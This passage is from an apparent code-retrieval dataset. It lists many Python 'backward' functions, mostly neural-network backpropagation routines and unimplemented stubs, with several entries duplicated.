self.db[i] = self.linear_backward(sigmoid_backward(self.dA[i + 1], cache[1]),\n cache[0])","def _backward(loss):\n\n loss.backward()","def backward(self, *output_grads):\n raise NotImplementedError","def _backward(self, w):\n # Gradient sign depends on input label (0/1)\n if w is not None:\n return w[0] * -self.w + w[1] * self.w\n else:\n raise ValueError(\"w cannot be set as None.\")","def backward(self, dout):\n \n ########################\n # PUT YOUR CODE HERE #\n #######################\n for l in range(len(self.layers)-1,-1,-1):\n act_dout = self.activations[l].backward(dout)\n dout = self.layers[l].backward(act_dout)\n ########################\n # END OF YOUR CODE #\n #######################\n\n return","def forward_backward(self, x):\n observation_log_probs = self._observation_log_probs(x, mask=None)\n with tf.name_scope('forward_belief_propagation'):\n self.forward_log_probs = self._forward(observation_log_probs)\n\n with tf.name_scope('backward_belief_propagation'):\n self.backward_log_probs = self._backward(observation_log_probs)","def _backward(self):\n if self.units[0].value > 0:\n self.units[0].gradient += 1 * self.utop.gradient\n else:\n self.units[0].gradient += 0 * self.utop.gradient","def backward(self, y):\n pass","def backward(self,x, y):\n # TODO\n self.delta[self.L-1]=self.a[self.L-1]-y\n le=len(self.delta)\n for i in range(le-2,-1,-1):\n cx= self.w[i+1].T@self.delta[i+1]\n self.delta[i]=self.phi_d(self.z[i])*cx\n for i in range(1,self.L):\n self.dw[i]=np.asmatrix(self.delta[i]).T@np.asmatrix(self.a[i-1])\n self.db[i]=self.delta[i]","def backward(self, grad, index):\n pass","def backward(self):\n #print('backward\\r')\n self.linearVector = Vector3(x=-1.0, y=0.0, z=0.0)\n self.angularVector = Vector3(x=0.0, y=0.0, z=0.0)","def backward(self,input,grads):\n\t\traise RuntimeError(\"All subclasses of Module must implement a forward method\")","def on_iter_backward(self, runner):\n runner.optimizer.zero_grad()\n runner.loss.backward()\n runner.optimizer.step()","def backPropagate(self):\n\n # application of the chain rule to find derivative of the loss function with respect to weights2 and weights1\n d_weights2 = np.dot(self.layer1.T, (2*(self.y - self.output) * sigmoid_derivative(self.output)))\n d_weights1 = np.dot(self.input.T, (np.dot(2*(self.y - self.output) * sigmoid_derivative(self.output), self.weights2.T) * sigmoid_derivative(self.layer1)))\n\n # update the weights with the derivative (slope) of the loss function\n self.weights1 += d_weights1\n self.weights2 += d_weights2","def forward_backward(self, data_batch):\n self.forward(data_batch, is_train=True)\n self.backward()\n if self.use_l2norm_grad_clip:\n # 2-Norm Grad Clip\n self.l2norm_grad_clip()","def back(self, step):\r\n self.forward(-step)","def backward_G(self):\n self.loss_G.backward()","def move_backward():\n pass","def backward_pass(self, delta):\r\n self.d_x = np.dot(delta, self.w.T)\r\n self.d_b = np.matmul(np.ones((1, delta.shape[0])), delta)\r\n self.d_w = np.dot(self.x.T, delta)\r\n return self.d_x","def _backward(self, w=None):\n grad = self.w # Should be I * self.w . We keep a vector for simplicity\n\n # Left multiply input `w` with normalizer gradient\n return w * grad if w is not None else grad","def forward_backward(self, data_batch):\n total_feature, total_label = self.forward(data_batch, is_train=True)\n self.backward_all(total_feature, total_label)","def backward(self):\n gradient = blah\n return gradient","def backward(self):\n gradient = blah\n return gradient","def backward(self):\n assert self.cache is not None, \"Cannot backprop without forward first.\"\n prob, y = self.cache\n\n dX = prob - y\n if self.reduction == \"mean\":\n m, _ = prob.shape\n dX /= m\n\n # clear cache\n self.cache = None\n\n return dX","def backward(ctx, dy):\n y = ctx.y\n if ctx.eagerly_discard_variables:\n del ctx.y\n for i in range(len(ctx.reversible_blocks) - 1, -1, -1):\n y, dy = ctx.reversible_blocks[i].backward_pass(y, dy, not ctx.eagerly_discard_variables)\n if ctx.eagerly_discard_variables:\n del ctx.reversible_blocks\n return dy, None, None","def L_model_backward(AL, Y, caches):\n pass","def __backward(self):\n if self.is_empty():\n raise StopIteration\n\n current = self._tail\n yield current._data\n while current._previ:\n current = current._previ\n yield current._data","def backward_D(self):\n self.loss_D.backward()","def backwards(self):\n pass","def post_backward_generator(self):\n pass","def __backward(self, dA, cache, derivative_activate_fn):\n A_prev, W, b, Z, D = cache\n\n m = A_prev.shape[1]\n\n # Mask\n dA = np.multiply(dA, D) / self.keep_prob\n\n dZ = dA * derivative_activate_fn(Z)\n dW = (1.0 / m) * np.dot(dZ, A_prev.T)\n db = (1.0 / m) * np.sum(dZ, axis=1, keepdims=True)\n dA_prev = np.dot(W.T, dZ)\n\n\n assert (dW.shape == W.shape)\n assert (db.shape == b.shape)\n assert (dA_prev.shape == A_prev.shape)\n\n return dA_prev, dW, db","def backward(self, bottom, top, propagate_down):\n loss = 0.\n top_diff = top[0].diff()\n bottom_data = bottom[0].data()\n # initialize the sub diff\n if propagate_down:\n bottom_diff = bottom[0].init_diff(setzero=False)\n for i in range(self._group):\n top_sub_diff = self._top_sub[i].init_diff(setzero=False)\n bottom_sub_data = self._bottom_sub[i].data()\n in_start = i * self._blocksize\n in_end = in_start + self._blocksize\n out_start = i * self._num_kernels\n out_end = out_start + self._num_kernels\n # Since the convolutional layers will need the input data,\n # we will need to provide them.\n bottom_sub_data[:] = bottom_data[:, :, :, in_start:in_end]\n top_sub_diff[:] = top_diff[:, :, :, out_start:out_end]\n loss += self._conv_layers[i].backward(\n [self._bottom_sub[i]], [self._top_sub[i]], propagate_down)\n if propagate_down:\n bottom_sub_diff = self._bottom_sub[i].init_diff(setzero=False)\n bottom_diff[:, :, :, in_start:in_end] = bottom_sub_diff\n return loss","def backward(self, delta):\n self.d_x = np.dot(delta, np.transpose(self.w))\n self.d_w = np.dot(np.transpose(self.x), delta)/self.x.shape[0]\n self.d_b = np.mean(delta, axis=0).reshape((1, delta.shape[1]))\n return self.d_x\n\n raise NotImplementedError(\"Backprop for Layer not implemented.\")","def backward(self, d_output=None):\n if d_output is None:\n d_output = 1.0\n backpropagate(VariableWithDeriv(self, d_output))","def backward_pass(self, loss):\n\n self.optimizer.zero_grad()\n self.optimizer.backward(loss)\n self.optimizer.step()","def _back_propagation(self, X, t, a1, probs,length):\n # Add code to compute the derivatives and return\n delta3 = probs\n delta3[range(length),t] -= 1\n dWhy = (a1.T).dot(delta3)\n dby = np.sum(delta3, axis=0, keepdims=True)\n delta2 = delta3.dot(dWhy.T) * (1 - np.power(a1, 2))\n dWxh = np.dot(X.T, delta2)\n dbh = np.sum(delta2, axis=0)\n return dWxh, dWhy, dbh, dby","def backward_and_step(self, loss):\n self.opt.zero_grad()\n loss.backward()\n self.opt.step()","def _poputil_recompute_backward(op, grads):\n return grads","def backward(self, weights):\n\n return self.lambd * weights","def backward(self, bottom, top, propagate_down):\n # get diff\n top_diff = top[0].diff()\n features = bottom[0].data()\n # compute the gradient\n weight_diff = self._weight.init_diff(setzero=False)\n blasdot.dot_firstdims(features, top_diff, out=weight_diff)\n if self._has_bias:\n bias_diff = self._bias.init_diff(setzero=False)\n bias_diff[:] = top_diff.reshape(\n np.prod(top_diff.shape[:-1]), top_diff.shape[-1]).sum(0)\n # If necessary, compute the bottom Blob gradient.\n if propagate_down:\n bottom_diff = bottom[0].init_diff(setzero=False)\n blasdot.dot_lastdim(top_diff, self._weight.data().T,\n out=bottom_diff)\n if self._reg is not None:\n return self._reg.reg(self._weight)\n else:\n return 0.","def backward(self, gradient):\n #TODO\n pass","def backward(self, gradient):\n #TODO\n pass","def _poputil_block_recompute_backward(op, grads):\n return grads","def backward(self):\n if self.d_out_d_in is None:\n raise Exception(\"Haven't computed the loss!\")\n return self.d_out_d_in","def backward(self):\n #initiate the gradients\n #print('')\n \n #print('node {} grad {}'.format(self.id, self.gradient))\n #print('node {} times visited : {}/{}'.format(self.id, self.times_visited, self.times_used))\n\n if self.gradient is None:\n self.gradient=np.eye(self.output_dim)\n self.times_visited+=1\n\n \n \n if self.childrens==[]:\n return(self.gradient)\n else:\n self.backward()\n \n else: \n if self.childrens!=[]:\n #we can still going deeper in backprop\n #print(len(self.childrens), ' childrens', str([self.childrens[i]['node'].id for i in range(len(self.childrens))]))\n for child in self.childrens:\n node,jacobian=child['node'], child['jacobian']\n \n new_grad = np.dot(self.gradient, jacobian)\n #print(node.gradient)\n #print(new_grad)\n \n if node.gradient is None:\n node.gradient = new_grad\n else: \n node.gradient += new_grad\n \n node.times_visited+=1\n #print('looking at node {} \\ngradient {}'.format(node.id, node.gradient))\n\n \n if node.times_used ==node.times_visited: \n #print(node.gradient)\n node.backward() \n else:\n #still some computations to perform upwards before going deeped\n #print('node {} visits : {}/{}'.format(node.id, node.times_visited, node.times_used))\n pass","def backwardPropagate(self, relevantDeltaData, learningRate):\r\n delta = self.calcDelta(relevantDeltaData)\r\n \r\n deltaBias = -learningRate*delta\r\n \r\n holdOut = np.dot(self.WeightMatrixT.T, delta)\r\n \r\n self.WeightMatrixT += np.dot(deltaBias, self.prevX.T)\r\n self.BiasVector += deltaBias\r\n return holdOut","def backward_pass(self, delta):\n\n a = config['learning_rate']\n y = config['momentum_gamma']\n m = config['momentum']\n l = config['L2_penalty']\n\n # print(\"shape of delta incoming: \", delta.shape, \"shape of x: \", self.x.shape)\n self.d_x = delta.T @ self.x\n # print(\"SHAPE OF GRADIENT: \", self.d_x.shape)\n\n # gradient momentum\n self.w_inc = (a * self.d_x.T) + (y * self.d_v) - l * self.w\n \n # saving \n if m:\n self.d_v = self.w_inc\n else:\n self.d_v = np.zeros(self.w.shape)\n\n # backprop for bias weights\n x_0 = np.ones([len(delta), 1])\n\n self.d_b = delta.T @ x_0\n\n # print(\"shape of BIAS GRAD: \", self.d_b.shape)\n\n self.d_w = delta @ self.w.T\n # print(\"shape of w.T: \", self.w.T.shape, \"shape of RETURN delta: \", self.d_w.shape)\n #print(self.w.shape)\n return self.d_w","def backward(self, g, lx):\n if isinstance(g, sequence._Seq):\n self._Matr__c_elem().backward(g._Seq__c_elem(),lx._Lexique__c_elem())\n elif isinstance(g, _Matr):\n self._Matr__c_elem().backward(g._Matr__c_elem(),lx._Lexique__c_elem())\n self._Matr__maj()","def backward(cls, grad_out, activated_out):\n raise Exception(\"Unimplemented\")","def backward(cls, grad_out, activated_out):\n raise Exception(\"Unimplemented\")","def backward(self, loss):\n global_timer.my_timer.start_profile(\"BWD\")\n mgr = PatrickStarManager()\n mgr.set_training_stage(TrainingStage.BWD)\n\n for param_fp16 in self.client.chunk_based_param_fp16:\n param_fp16.ps_attr.bwd_used_cnt = 0\n\n self.optimizer.zero_grad()\n if self.loss_scaler:\n self.loss_scaler.backward(loss)\n else:\n loss.backward()\n mgr.update_margin_mem()\n global_timer.my_timer.finish_profile(\"BWD\")","def backward(ctx: Any, grad_output: Any) -> Any:\n return grad_output, None","def propagate_backward(self, h):\n h = h.mm(self.feedbackweights.t())\n if self.feedbackbias is not None:\n h += self.feedbackbias.unsqueeze(0).expand_as(h)\n return self.feedback_activationfunction(h)","def forward(ctx, input):\n input_orig = input.clone().double()\n input = input.to(torch.uint8).double()\n diff = input_orig.sub(input)\n ctx.save_for_backward(diff)\n return input","def test_forward_backward(self):\n f = forward(self.obs, self.S, self.A, self.E)\n b = backward(self.obs, self.S, self.A, self.E)\n fp = logsumexp(f[:, -1])\n emission = precompute_emission(np.log(self.E))[tuple(self.obs[0])]\n bp = logsumexp(np.log(self.S) + emission + b[:, 0])\n assert_allclose(fp, bp)","def move_backward(self, distance):\r\n return self.move('back', distance)","def backward(self, upstream_grad):\n\n # derivative of Cost w.r.t W\n self.dW = np.dot(upstream_grad, self.A_prev.T)\n\n # derivative of Cost w.r.t b, sum across rows\n self.db = np.sum(upstream_grad, axis=1, keepdims=True)\n\n # derivative of Cost w.r.t A_prev\n self.dA_prev = np.dot(self.params['W'].T, upstream_grad)","def backward(self, next_layer_weights, next_layer_delta):\n delta = np.dot(next_layer_weights.T, next_layer_delta)\n delta = delta * self.mask * self.activation_derivative(self.z)\n self.delta = delta\n return delta","def backward_pass(self, y, dy, retain_graph):\n y1, y2 = torch.chunk(y, 2, dim=self.split_along_dim)\n del y\n assert not y1.requires_grad, 'y1 must already be detached'\n assert not y2.requires_grad, 'y2 must already be detached'\n dy1, dy2 = torch.chunk(dy, 2, dim=self.split_along_dim)\n del dy\n assert not dy1.requires_grad, 'dy1 must not require grad'\n assert not dy2.requires_grad, 'dy2 must not require grad'\n y1.requires_grad = True\n y2.requires_grad = True\n with torch.enable_grad():\n self._set_seed('g')\n gy1 = self.g_block(y1)\n gy1.backward(dy2, retain_graph=retain_graph)\n with torch.no_grad():\n x2 = y2 - gy1\n del y2, gy1\n dx1 = dy1 + y1.grad\n del dy1\n y1.grad = None\n with torch.enable_grad():\n x2.requires_grad = True\n self._set_seed('f')\n fx2 = self.f_block(x2)\n fx2.backward(dx1, retain_graph=retain_graph)\n with torch.no_grad():\n x1 = y1 - fx2\n del y1, fx2\n dx2 = dy2 + x2.grad\n del dy2\n x2.grad = None\n x = torch.cat([x1, x2.detach()], dim=self.split_along_dim)\n dx = torch.cat([dx1, dx2], dim=self.split_along_dim)\n return x, dx","def backward(self, b):\n\n self.b = [b]\n\n # calculate the estimated errors on each layer ($\\delta$)\n for k,w in reversed(list(enumerate(self.weights[1:]))):\n if self.has_bias:\n delta = numpy.dot(self.b[0], w[1:].T)\n act = self.a[k+1][:,1:]\n else:\n delta = numpy.dot(self.b[0], w.T)\n act = self.a[k+1]\n self.b.insert(0, delta*self.hidden_activation.f_prime_from_f(act))\n\n self.d = []\n for a,b in zip(self.a[:-1], self.b):\n self.d.append(numpy.dot(a.T, b) / len(b))\n\n return self.d","def backward_propagation(parameters, cache, X, Y):\n\tm = X.shape[1]\n\n\t# First, retrieve W1 and W2 from the dictionary \"parameters\".\n\tW1 = parameters['W1']\n\tW2 = parameters['W2']\n\n\t# Retrieve also A1 and A2 from dictionary \"cache\".\n\tA1 = cache['A1']\n\tA2 = cache['A2']\n\n\t# Backward propagation: calculate dW1, db1, dW2, db2. \n\tdZ2 = A2 - Y\n\tdW2 = 1/m*(np.dot(dZ2,A1.T))\n\tdb2 = 1/m*(np.sum(dZ2, axis=1, keepdims=True))\n\tdZ1 = (np.dot(W2.T, dZ2))*(1 - np.power(A1, 2))\n\tdW1 = 1/m*(np.dot(dZ1,X.T))\n\tdb1 = 1/m*(np.sum(dZ1, axis=1, keepdims=True))\n\n\tgrads = {\"dW1\": dW1,\n\t\t\t\"db1\": db1,\n\t\t\t\"dW2\": dW2,\n\t\t\t\"db2\": db2}\n\n\treturn grads","def backward_tensor(self, x):\n pass","def backward(ctx, grad_output):\n input, = ctx.saved_tensors\n grad_input = grad_output.clone()\n grad_input[torch.abs(input) > 1.001] = 0\n return grad_input","def backward(ctx, grad_output):\n input, = ctx.saved_tensors\n grad_input = grad_output.clone()\n grad_input[torch.abs(input) > 1.001] = 0\n return grad_input","def backward(self, grad_output):\n raise NotImplementedError","def backward(self):\n self.units = self._units_history.pop()\n self._backward()\n # We must set the utop to previous state immediately, because the utop could be other gate's input unit\n # And other gate's backward could be called before this gate's backward\n self._utop_history.pop()\n if self._utop_history:\n self.utop = self._utop_history[-1]","def backward_propagate(self,\n output_data,\n sample=False):\n if output_data.shape[1] != self.output_dim:\n raise Exception(\"Output dimensionality has to match dbn.output_dim!\")\n self.states[len(self._layers)] = output_data\n for l in range(len(self._layers), 0, -1):\n self.states[l - 1] = self._layers[l - 1].probability_v_given_h(self.states[l])\n if sample is True:\n self.states[l - 1] = self._layers[l - 1].sample_v(self.states[l - 1])\n return self.states[0]","def test_propagate_backward_last_hidden(self):\n nn = NeuralNet(0, 0, '', '', blank=True)\n nn.create_net(2, 1, 2, 2)\n nn.eta = 0.1\n\n # Override weights to static value for reproducibility\n for node in nn.layers[2].nodes:\n node.weights = [0.6, 0.6]\n\n for node in nn.layers[3].nodes:\n node.weights = [1.0, 1.0]\n\n # Walk forward\n nn.propagate_forward([2, 3], test=True)\n\n # Walk backward\n nn.propagate_backward([0])\n\n test_weight = nn.layers[-1].nodes[0].weights[0]\n self.assertEqual(round(test_weight, 4), 0.9901)","def backward(self, grad):\n self.grads[\"w\"] = np.matmul(self.input_data.T, grad)\n self.grads[\"b\"] = np.sum(grad, axis=0)\n return np.matmul(self.input_data.T, grad)","def on_backward_end(self, batch):\n if self.updater == \"backward\":\n grads = OrderedDict((name, param.grad.data.cpu(\n )) for name, param in self.model.model.named_parameters() if param.grad is not None)\n try:\n self.update(grads)\n except KeyboardInterrupt:\n raise\n except:\n pass","def backward_D(self):\n self.loss_D_frame, self.loss_D_frame_real, self.loss_D_frame_fake = self.get_GAN_loss_D_sequential(\n discriminator=self.discriminator,\n real_images=self.real_target,\n fake_images=self.fake_target,\n conditioned_on=self.real_source,\n )\n self.loss_D += self.loss_D_frame\n super().backward_D()","def backward(self, x_out, x_target):\r\n return 2*(x_out - x_target)","def backward(ctx, grad_output):\n input, = ctx.saved_tensors\n grad_input = grad_output.clone()\n grad_input[input < 0] = 0\n return truncate_significand(grad_input, ctx.n), None","def backward(self, gradient):\n raise NotImplementedError()","def backward(self, loss, update_hp_grads=True, clear_lp_grads=False, **bwd_kwargs):\n self.clear_lp_grads()\n loss.backward(**bwd_kwargs)\n\n if update_hp_grads:\n self.update_hp_grads(clear_lp_grads=clear_lp_grads)"],"string":"[\n \"def backward(self, top, propagate_down, bottom):\\n\\t\\tpass\",\n \"def backward(self, top, propagate_down, bottom):\\r\\n pass\",\n \"def backward(self):\\n raise NotImplementedError\",\n \"def backward(self, top, propagate_down, bottom):\\n pass\",\n \"def backward(self, top, propagate_down, bottom):\\n pass\",\n \"def backward(self, top, propagate_down, bottom):\\n pass\",\n \"def backward(self, top, propagate_down, bottom):\\n pass\",\n \"def backward(self, top, propagate_down, bottom):\\n pass\",\n \"def backward(self, top, propagate_down, bottom):\\n pass\",\n \"def backward(self, top, propagate_down, bottom):\\n pass\",\n \"def backward(self, top, propagate_down, bottom):\\n pass\",\n \"def backward(self, top, propagate_down, bottom):\\n pass\",\n \"def backward(self, top, propagate_down, bottom):\\n pass\",\n \"def backward(self, top, propagate_down, bottom):\\n pass\",\n \"def backward(self, top, propagate_down, bottom):\\n pass\",\n \"def backward(self, top, propagate_down, bottom):\\n pass\",\n \"def backward(self, top, propagate_down, bottom):\\n pass\",\n \"def backward(self, top, propagate_down, bottom):\\n pass\",\n \"def backward(self, top, propagate_down, bottom):\\n pass\",\n \"def backward(self):\\n raise NotImplemented\",\n \"def backward(self):\\n raise NotImplemented\",\n \"def backward(self):\\n raise NotImplemented\",\n \"def backward(self, top, propagate_down, bottom):\\n for ib in range(2):\\n if not propagate_down[ib]:\\n continue\\n ndim = bottom[0].data.shape\\n count = ndim[0] * ndim[2] * ndim[3]\\n if not self.count:\\n bottom[ib].diff[ ... ] = np.zeros_like( bottom[0].data )\\n continue\\n if top[0].data < 1.\\n bottom[ib].diff[ ... ] = np.abs( bottom[0].data - bottom[1].data )\\n bottom[ib].diff[ ... ] *= ( 1 - 1.0*self.iter/self.maxiter )\\n else:\\n bottom[ib].diff[ ... ] = np.ones_like( bottom[ib].data )\\n inop = bottom[0].data < bottom[1].data\\n bottom[ib].diff[ inop ] *= -1\\n \\n # ingore false label and repair\\n ignore = bottom[1].data <= 0.\\n count -= np.sum(ignore)\\n bottom[ib].diff[ignore] = 0.\\n #normlist\\n bottom[ib].diff[...] /= count\",\n \"def backward(self) -> np.ndarray:\\n # TODO\\n return None\",\n \"def backward_pass(self, grad):\\n pass\",\n \"def forward_backward(self, x):\\n raise NotImplementedError()\",\n \"def propagate_backward(self, AL, Y):\\n L = len(self.caches)\\n Y = Y.reshape(AL.shape)\\n dAL = - (np.divide(Y, AL) - np.divide(1 - Y, 1 - AL))\\n cache = self.caches[L - 1]\\n self.dA[L - 1], self.dW[L - 1], self.db[L - 1] = self.linear_backward(sigmoid_backward(dAL, cache[1]), cache[0])\\n for i in reversed(range(L - 1)):\\n cache = self.caches[i]\\n self.dA[i], self.dW[i], self.db[i] = self.linear_backward(sigmoid_backward(self.dA[i + 1], cache[1]),\\n cache[0])\",\n \"def _backward(loss):\\n\\n loss.backward()\",\n \"def backward(self, *output_grads):\\n raise NotImplementedError\",\n \"def _backward(self, w):\\n # Gradient sign depends on input label (0/1)\\n if w is not None:\\n return w[0] * -self.w + w[1] * self.w\\n else:\\n raise ValueError(\\\"w cannot be set as None.\\\")\",\n \"def backward(self, dout):\\n \\n ########################\\n # PUT YOUR CODE HERE #\\n #######################\\n for l in range(len(self.layers)-1,-1,-1):\\n act_dout = self.activations[l].backward(dout)\\n dout = self.layers[l].backward(act_dout)\\n ########################\\n # END OF YOUR CODE #\\n #######################\\n\\n return\",\n \"def forward_backward(self, x):\\n observation_log_probs = self._observation_log_probs(x, mask=None)\\n with tf.name_scope('forward_belief_propagation'):\\n self.forward_log_probs = self._forward(observation_log_probs)\\n\\n with tf.name_scope('backward_belief_propagation'):\\n self.backward_log_probs = self._backward(observation_log_probs)\",\n \"def _backward(self):\\n if self.units[0].value > 0:\\n self.units[0].gradient += 1 * self.utop.gradient\\n else:\\n self.units[0].gradient += 0 * self.utop.gradient\",\n \"def backward(self, y):\\n pass\",\n \"def backward(self,x, y):\\n # TODO\\n self.delta[self.L-1]=self.a[self.L-1]-y\\n le=len(self.delta)\\n for i in range(le-2,-1,-1):\\n cx= self.w[i+1].T@self.delta[i+1]\\n self.delta[i]=self.phi_d(self.z[i])*cx\\n for i in range(1,self.L):\\n self.dw[i]=np.asmatrix(self.delta[i]).T@np.asmatrix(self.a[i-1])\\n self.db[i]=self.delta[i]\",\n \"def backward(self, grad, index):\\n pass\",\n \"def backward(self):\\n #print('backward\\\\r')\\n self.linearVector = Vector3(x=-1.0, y=0.0, z=0.0)\\n self.angularVector = Vector3(x=0.0, y=0.0, z=0.0)\",\n \"def backward(self,input,grads):\\n\\t\\traise RuntimeError(\\\"All subclasses of Module must implement a forward method\\\")\",\n \"def on_iter_backward(self, runner):\\n runner.optimizer.zero_grad()\\n runner.loss.backward()\\n runner.optimizer.step()\",\n \"def backPropagate(self):\\n\\n # application of the chain rule to find derivative of the loss function with respect to weights2 and weights1\\n d_weights2 = np.dot(self.layer1.T, (2*(self.y - self.output) * sigmoid_derivative(self.output)))\\n d_weights1 = np.dot(self.input.T, (np.dot(2*(self.y - self.output) * sigmoid_derivative(self.output), self.weights2.T) * sigmoid_derivative(self.layer1)))\\n\\n # update the weights with the derivative (slope) of the loss function\\n self.weights1 += d_weights1\\n self.weights2 += d_weights2\",\n \"def forward_backward(self, data_batch):\\n self.forward(data_batch, is_train=True)\\n self.backward()\\n if self.use_l2norm_grad_clip:\\n # 2-Norm Grad Clip\\n self.l2norm_grad_clip()\",\n \"def back(self, step):\\r\\n self.forward(-step)\",\n \"def backward_G(self):\\n self.loss_G.backward()\",\n \"def move_backward():\\n pass\",\n \"def backward_pass(self, delta):\\r\\n self.d_x = np.dot(delta, self.w.T)\\r\\n self.d_b = np.matmul(np.ones((1, delta.shape[0])), delta)\\r\\n self.d_w = np.dot(self.x.T, delta)\\r\\n return self.d_x\",\n \"def _backward(self, w=None):\\n grad = self.w # Should be I * self.w . We keep a vector for simplicity\\n\\n # Left multiply input `w` with normalizer gradient\\n return w * grad if w is not None else grad\",\n \"def forward_backward(self, data_batch):\\n total_feature, total_label = self.forward(data_batch, is_train=True)\\n self.backward_all(total_feature, total_label)\",\n \"def backward(self):\\n gradient = blah\\n return gradient\",\n \"def backward(self):\\n gradient = blah\\n return gradient\",\n \"def backward(self):\\n assert self.cache is not None, \\\"Cannot backprop without forward first.\\\"\\n prob, y = self.cache\\n\\n dX = prob - y\\n if self.reduction == \\\"mean\\\":\\n m, _ = prob.shape\\n dX /= m\\n\\n # clear cache\\n self.cache = None\\n\\n return dX\",\n \"def backward(ctx, dy):\\n y = ctx.y\\n if ctx.eagerly_discard_variables:\\n del ctx.y\\n for i in range(len(ctx.reversible_blocks) - 1, -1, -1):\\n y, dy = ctx.reversible_blocks[i].backward_pass(y, dy, not ctx.eagerly_discard_variables)\\n if ctx.eagerly_discard_variables:\\n del ctx.reversible_blocks\\n return dy, None, None\",\n \"def L_model_backward(AL, Y, caches):\\n pass\",\n \"def __backward(self):\\n if self.is_empty():\\n raise StopIteration\\n\\n current = self._tail\\n yield current._data\\n while current._previ:\\n current = current._previ\\n yield current._data\",\n \"def backward_D(self):\\n self.loss_D.backward()\",\n \"def backwards(self):\\n pass\",\n \"def post_backward_generator(self):\\n pass\",\n \"def __backward(self, dA, cache, derivative_activate_fn):\\n A_prev, W, b, Z, D = cache\\n\\n m = A_prev.shape[1]\\n\\n # Mask\\n dA = np.multiply(dA, D) / self.keep_prob\\n\\n dZ = dA * derivative_activate_fn(Z)\\n dW = (1.0 / m) * np.dot(dZ, A_prev.T)\\n db = (1.0 / m) * np.sum(dZ, axis=1, keepdims=True)\\n dA_prev = np.dot(W.T, dZ)\\n\\n\\n assert (dW.shape == W.shape)\\n assert (db.shape == b.shape)\\n assert (dA_prev.shape == A_prev.shape)\\n\\n return dA_prev, dW, db\",\n \"def backward(self, bottom, top, propagate_down):\\n loss = 0.\\n top_diff = top[0].diff()\\n bottom_data = bottom[0].data()\\n # initialize the sub diff\\n if propagate_down:\\n bottom_diff = bottom[0].init_diff(setzero=False)\\n for i in range(self._group):\\n top_sub_diff = self._top_sub[i].init_diff(setzero=False)\\n bottom_sub_data = self._bottom_sub[i].data()\\n in_start = i * self._blocksize\\n in_end = in_start + self._blocksize\\n out_start = i * self._num_kernels\\n out_end = out_start + self._num_kernels\\n # Since the convolutional layers will need the input data,\\n # we will need to provide them.\\n bottom_sub_data[:] = bottom_data[:, :, :, in_start:in_end]\\n top_sub_diff[:] = top_diff[:, :, :, out_start:out_end]\\n loss += self._conv_layers[i].backward(\\n [self._bottom_sub[i]], [self._top_sub[i]], propagate_down)\\n if propagate_down:\\n bottom_sub_diff = self._bottom_sub[i].init_diff(setzero=False)\\n bottom_diff[:, :, :, in_start:in_end] = bottom_sub_diff\\n return loss\",\n \"def backward(self, delta):\\n self.d_x = np.dot(delta, np.transpose(self.w))\\n self.d_w = np.dot(np.transpose(self.x), delta)/self.x.shape[0]\\n self.d_b = np.mean(delta, axis=0).reshape((1, delta.shape[1]))\\n return self.d_x\\n\\n raise NotImplementedError(\\\"Backprop for Layer not implemented.\\\")\",\n \"def backward(self, d_output=None):\\n if d_output is None:\\n d_output = 1.0\\n backpropagate(VariableWithDeriv(self, d_output))\",\n \"def backward_pass(self, loss):\\n\\n self.optimizer.zero_grad()\\n self.optimizer.backward(loss)\\n self.optimizer.step()\",\n \"def _back_propagation(self, X, t, a1, probs,length):\\n # Add code to compute the derivatives and return\\n delta3 = probs\\n delta3[range(length),t] -= 1\\n dWhy = (a1.T).dot(delta3)\\n dby = np.sum(delta3, axis=0, keepdims=True)\\n delta2 = delta3.dot(dWhy.T) * (1 - np.power(a1, 2))\\n dWxh = np.dot(X.T, delta2)\\n dbh = np.sum(delta2, axis=0)\\n return dWxh, dWhy, dbh, dby\",\n \"def backward_and_step(self, loss):\\n self.opt.zero_grad()\\n loss.backward()\\n self.opt.step()\",\n \"def _poputil_recompute_backward(op, grads):\\n return grads\",\n \"def backward(self, weights):\\n\\n return self.lambd * weights\",\n \"def backward(self, bottom, top, propagate_down):\\n # get diff\\n top_diff = top[0].diff()\\n features = bottom[0].data()\\n # compute the gradient\\n weight_diff = self._weight.init_diff(setzero=False)\\n blasdot.dot_firstdims(features, top_diff, out=weight_diff)\\n if self._has_bias:\\n bias_diff = self._bias.init_diff(setzero=False)\\n bias_diff[:] = top_diff.reshape(\\n np.prod(top_diff.shape[:-1]), top_diff.shape[-1]).sum(0)\\n # If necessary, compute the bottom Blob gradient.\\n if propagate_down:\\n bottom_diff = bottom[0].init_diff(setzero=False)\\n blasdot.dot_lastdim(top_diff, self._weight.data().T,\\n out=bottom_diff)\\n if self._reg is not None:\\n return self._reg.reg(self._weight)\\n else:\\n return 0.\",\n \"def backward(self, gradient):\\n #TODO\\n pass\",\n \"def backward(self, gradient):\\n #TODO\\n pass\",\n \"def _poputil_block_recompute_backward(op, grads):\\n return grads\",\n \"def backward(self):\\n if self.d_out_d_in is None:\\n raise Exception(\\\"Haven't computed the loss!\\\")\\n return self.d_out_d_in\",\n \"def backward(self):\\n #initiate the gradients\\n #print('')\\n \\n #print('node {} grad {}'.format(self.id, self.gradient))\\n #print('node {} times visited : {}/{}'.format(self.id, self.times_visited, self.times_used))\\n\\n if self.gradient is None:\\n self.gradient=np.eye(self.output_dim)\\n self.times_visited+=1\\n\\n \\n \\n if self.childrens==[]:\\n return(self.gradient)\\n else:\\n self.backward()\\n \\n else: \\n if self.childrens!=[]:\\n #we can still going deeper in backprop\\n #print(len(self.childrens), ' childrens', str([self.childrens[i]['node'].id for i in range(len(self.childrens))]))\\n for child in self.childrens:\\n node,jacobian=child['node'], child['jacobian']\\n \\n new_grad = np.dot(self.gradient, jacobian)\\n #print(node.gradient)\\n #print(new_grad)\\n \\n if node.gradient is None:\\n node.gradient = new_grad\\n else: \\n node.gradient += new_grad\\n \\n node.times_visited+=1\\n #print('looking at node {} \\\\ngradient {}'.format(node.id, node.gradient))\\n\\n \\n if node.times_used ==node.times_visited: \\n #print(node.gradient)\\n node.backward() \\n else:\\n #still some computations to perform upwards before going deeped\\n #print('node {} visits : {}/{}'.format(node.id, node.times_visited, node.times_used))\\n pass\",\n \"def backwardPropagate(self, relevantDeltaData, learningRate):\\r\\n delta = self.calcDelta(relevantDeltaData)\\r\\n \\r\\n deltaBias = -learningRate*delta\\r\\n \\r\\n holdOut = np.dot(self.WeightMatrixT.T, delta)\\r\\n \\r\\n self.WeightMatrixT += np.dot(deltaBias, self.prevX.T)\\r\\n self.BiasVector += deltaBias\\r\\n return holdOut\",\n \"def backward_pass(self, delta):\\n\\n a = config['learning_rate']\\n y = config['momentum_gamma']\\n m = config['momentum']\\n l = 